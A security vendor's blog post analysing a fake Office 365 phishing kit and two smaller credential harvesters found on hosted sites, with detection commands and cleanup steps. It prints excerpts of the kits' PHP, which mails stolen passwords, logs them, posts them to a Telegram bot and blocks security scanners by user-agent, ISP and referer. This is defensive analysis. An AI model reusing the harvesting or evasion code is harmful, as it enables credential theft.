# Anatomy of a Phishing Kit Found on a Hosting Account

> A fake Office 365 sign-in found as a zip in a customer's public_html: how it collects passwords, where it sends them, how it hides from security scanners, and how to find and remove kits like it on your own server.

Source: https://www.pyxsoft.com/blog/anatomy-of-a-phishing-kit
Published: 2026-11-14
Tags: phishing, malware, php, cpanel, research

---

![A zip archive on a server opens into a fake sign-in window; the password typed into it flows out as orange-red light into an envelope and a hidden log file](https://www.pyxsoft.com/_astro/cover.DUWNlmfk.jpg)

A phishing kit is a ready-made copy of a sign-in page plus a few lines of PHP that send whatever the victim types to the attacker. Attackers don't host these on their own servers. They upload them to hacked hosting accounts, so the fake Microsoft or bank page loads from a real, trusted domain that belongs to somebody else.

For the hosting company, that means its server ends up sending stolen passwords by email, its IP addresses land on blocklists, and an abuse report arrives about a customer who has no idea any of this is there.

This is one of those kits, as it arrived at [Pyxsoft Labs](https://www.pyxsoft.com/anti-malware) on November 1, plus two smaller ones from the same week.

<!--truncate-->

## The file as we received it

Sample 2647 was found as `~/public_html/fio/intl.zip`, a 1.6 MB archive in a customer's web root:

```
Archive:  intl.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2018-02-13 01:14   intl/
       82  2018-02-13 01:14   intl/index.html
        0  2018-02-13 01:14   index.html
  1482058  2018-05-23 10:07   avallon sript.zip
   200626  2020-11-16 21:48   Office365.zip
---------                     -------
  1682766                     5 files
```

It is a bundle of kits, and it has archives inside the archive. `intl/index.html` is a one-line redirect to another site (`globalcoolinginc.xxx/megaintl/`, probably another hacked account). `avallon sript.zip` is a full static copy of a UK loan company's website. `Office365.zip` is the phishing kit, and the rest of this post is about it. Unpacked, it holds 24 files:

```
office365/index.php            the fake sign-in page
office365/includes/settings.php
office365/includes/blocker.php "Anti-Bots v.1"
office365/panel/open.php       the attacker's control panel
office365/assets/...           Microsoft logo, background, spinner, CSS
office365/robots.txt           Disallow: /
```

## The settings

The kit is built to be reused. The person who bought or downloaded it only has to edit one file:

```php
// this is your panel username (you can edit it)
$panel_user = 'admin';

// default panel password 'admin' md5 hashed (you can edit it)
$panel_password = '21232f297a57a5a743894a0e4a801fc3';

// this is the email your results will be sent to
$master_email = 'YOUR-EMAIL@gmail.com';
```

In this copy, the address was never changed from `YOUR-EMAIL@gmail.com`, and the panel password is still `admin`. Kits like this get passed from one operator to the next, and plenty of them go live with the defaults still in place.

## The sign-in page

`index.php` copies the Microsoft sign-in flow in three steps, which it tracks in the PHP session: email, password, then "Confirm password". The interesting part is the password check:

```php
if (isset($_POST['pass'])) {
    if (!isset($_SESSION['pass']) && strlen($_POST['pass']) > 5 && (isset($_SESSION['double']))) {
        $_SESSION['bad_pass'] = false;
        $_SESSION['pass'] = $_POST['pass'];
    }else{
        $_SESSION['double'] = true;
        $_SESSION['bad_pass'] = true;
    }
}
```

The first password the victim types is **always rejected**, whatever it is, with "Your password was incorrect." Only the second attempt is kept, followed by a third in the "Confirm password" step. Someone who just got "incorrect" types slowly and carefully the next time, or tries the other password they use. Either way, the attacker ends up with a better password or with two of them.

After that, the page shows "Restoring your account..." with a spinner and sends the victim to Microsoft's real services agreement page five seconds later. To the victim, it looks like a slow login that went through.

## Where the passwords go

Each step builds a plain-text report and sends it two ways:

```php
$data  = "-------------------------------------------------\r\n";
$data .= "Email: ".$email."\r\n";
$data .= "Password: ".$password."\n";
...
if ( $log_to_panel == true ) {
    $fp = fopen('panel/open.php', 'a');
    fwrite($fp, $data);
    fclose($fp);
}
@mail($master_email, $subject, $data, $headers);
```

The `mail()` call goes out through the hosting server's own mail system, so if the operator puts a real address in the settings, **your server is the one emailing the stolen passwords**.

The second copy is more careful. The kit appends each report to the end of `panel/open.php`, the panel's own PHP file. The file ends inside an open `<textarea>`, after a login check that calls `die()` for anyone without the panel password, so the collected passwords are only printed after the operator logs in. Anyone who requests the file gets a login form. Nobody can just download a `results.txt`.

The panel in this copy already held two reports from May 2019, an email address with keyboard-mash passwords that look like the operator testing the kit. We are not reproducing them here.

## Hiding from the people who hunt phishing

`includes/blocker.php` ("Anti-Bots v.1") runs before any page is shown, and its job is to show nothing to anyone who might report the kit:

```php
$bots_agents = array(
    'googlebot', 'yahoo', 'slurp', 'yahooSeeker', 'facebookexternalhit', 'ia_archiver', 'yandexbot', 'baiduspider',
    'crawler', 'httrack', 'pycurl', 'python-requests', 'curl', 'wget', 'phish', 'Http Crawler'
);
...
$blocked_words = array("above", "google", "softlayer", "amazonaws", "cyveillance", "phishtank", "dreamhost", "netpilot", "calyxinstitute", "tor-exit");

$shit_isps = array("DigitalOcean", "Amazon", "Google", "phishtank", "net4sec", "AVAST Software s.r.o.", "BullGuard ApS", "PayPal", "Hotmail", "Yahoo", "AOL", "Microsoft", "Kaspersky Lab", "Linode", ...);

$shit_referers = array('phishtank.', 'phishcheck.', 'spamhaus.');
```

It checks five things. The visitor's User-Agent: search engines and command-line tools. Its IP address, against a list of about 300 addresses and ranges, with a comment saying they were collected from "PHISHTANK REPORT" visits. The reverse DNS name. The ISP, looked up live from an external geolocation API: cloud providers, antivirus vendors and Microsoft itself. And the referring page, which catches anyone arriving from PhishTank or Spamhaus. Any match gets an empty page, and the visit is written to `bots.txt`. An IP address that shows up 20 times in `seen.txt` gets `BOTS ARE NOT ALLOWED`.

So when a security company or Microsoft opens the reported URL from a data center, the page is blank, and the report can be closed as "not reproducible" while the kit keeps working for real victims on home connections.

It also leaves behind files that make kits easy to recognise: `bots.txt`, `seen.txt`, a panel full of reports.

## Two more from the same week

Not every kit is a full copy of a sign-in flow. These two arrived in Labs within hours of the first one, and each is a single PHP file.

**Sample 2225**, `~/public_html/wp-includes/ID3/te.php`, 1 KB, hidden inside WordPress core among the ID3 tag library files. It is the back end of a "view this shared PDF" lure: the page asks for an email and password to "open the document", mails them to four addresses at once, and then sends the victim to a real file on Google Drive so nothing looks wrong:

```php
$message .= "|----------| PDF L0GS |--------------|\n";
$message .= "Online ID            : ".$_POST['email']."\n";
$message .= "Passcode              : ".$_POST['password']."\n";
...
$send = "h.w*****@gmail.com, hw***@yandex.com, tg*****7@yandex.com, tg*****47@protonmail.ch";
$subject = "Login :PDF L0GS | $ip";
{
mail("$send", "$subject", $message);
}
...
  header ("Location: https://drive.google.com/file/d/1u9S...xxxx/view/");
```

**Sample 1695**, `~/public_html/home/result.php`, 1.8 KB, carries a signature from its author, an advertised Telegram handle and a WhatsApp number. It saves each victim three ways: a line in `logs.txt` next to the script, an email, and a message to a Telegram bot:

```php
$your_email = "go*****07@gmail.com,iam*******tty@yandex.com"; // Your Fucking Email Here bro !!
...
$save=fopen("logs.txt","a+");
fwrite($save,$hi);
fclose($save);
...
@mail($your_email,$subject,$hi,$headers);
...
$apiToken = "8053413815:AAE0...xxxx";
...
$response = file_get_contents("$botapi/bot$apiToken/$Token?" . http_build_query($wellsbank));
```

Telegram has been replacing email as the favourite channel. Messages arrive instantly, the bot token is all you need, and nothing passes through your server's mail queue, where you could have noticed it.

## How to find kits on your server

None of these files is obfuscated, and that is part of why they get missed: scanners and administrators look for `eval` and base64, and a kit is just a form handler. These checks find most of them. Run them from the server as root and adjust the paths to your panel.

Archives sitting in web roots. Kits arrive zipped and often stay there after being unpacked:

```bash
find /home/*/public_html -type f \( -name '*.zip' -o -name '*.rar' \) -size +20k -mtime -30 -ls
```

Scripts that mail or store a posted password:

```bash
grep -rlE --include='*.php' 'mail\(.*\$(message|data|hi|msg)' /home/*/public_html \
  | xargs grep -lE "\\\$_POST\[['\"](pass|password|passwd)" 2>/dev/null
```

Credentials sent to Telegram. Search for the domain alone: kits often build the URL in pieces, as sample 1695 does:

```bash
grep -rl --include='*.php' 'api.telegram.org' /home/*/public_html
```

The leftovers kits write:

```bash
find /home/*/public_html -type f \( -name 'bots.txt' -o -name 'seen.txt' -o -name 'logs.txt' -o -name 'rezult*' -o -name 'results.txt' \) -ls
```

And the mail queue, if a kit is already live and sending:

```bash
exim -bp | grep -iE 'login|logs|result|password' | head
```

These commands will also flag legitimate contact forms and plugins that send mail, so read each hit before you delete anything.

## Cleaning up

1. **Remove the whole kit, not just the PHP file.** Delete the folder it was unpacked into and the archive it came in. A kit left with its HTML and images can be reactivated with a single upload.
2. **Treat the logs as stolen data.** `logs.txt`, the panel file and the `bots.txt` ISP list contain other people's passwords. Don't email them around. Note the count and the dates if you need to report the incident, then delete them.
3. **Check the mail queue and your IP reputation.** Remove the queued messages and check your sending IPs on the usual blocklists before customers start complaining about bounced mail.
4. **Find out how it got there.** A kit is uploaded by someone who already had access: a stolen cPanel or FTP password, a vulnerable plugin, or a web shell left by an earlier infection. Change the account's passwords and look for the entry point, or the kit will be back next week. [Why sites get reinfected after cleaning](https://www.pyxsoft.com/blog/why-sites-get-reinfected-after-cleaning) covers how to find it.

## How Pyxsoft Anti Malware handles it

Anti Malware's static analyser follows posted credentials through the code. It flags a file when a value from a login form, or anything labelled "Password:", reaches `mail()`, a file write, or a remote URL. It looks inside zip archives in memory, including archives inside archives, as in this sample, without unpacking anything to disk.

When it finds one, it reports a **Phishing kit**, separate from ordinary malware, and shows the folder where the kit was unpacked, so you can remove the whole thing, not just the file that sends the passwords.

We measured it on a collection of 1,139 real phishing kits: it recognises 759 of them, about two out of three. On 341 clean archives (WordPress, plugins, themes, frameworks) and 64,000 clean PHP files, it raised no new alerts. Kits are reported for review, not quarantined automatically: a contact form that emails a password reset can look very similar, and that decision is better made by a person.

You can [try Anti Malware free for 7 days](https://www.pyxsoft.com/anti-malware) on cPanel, DirectAdmin or a server with no panel.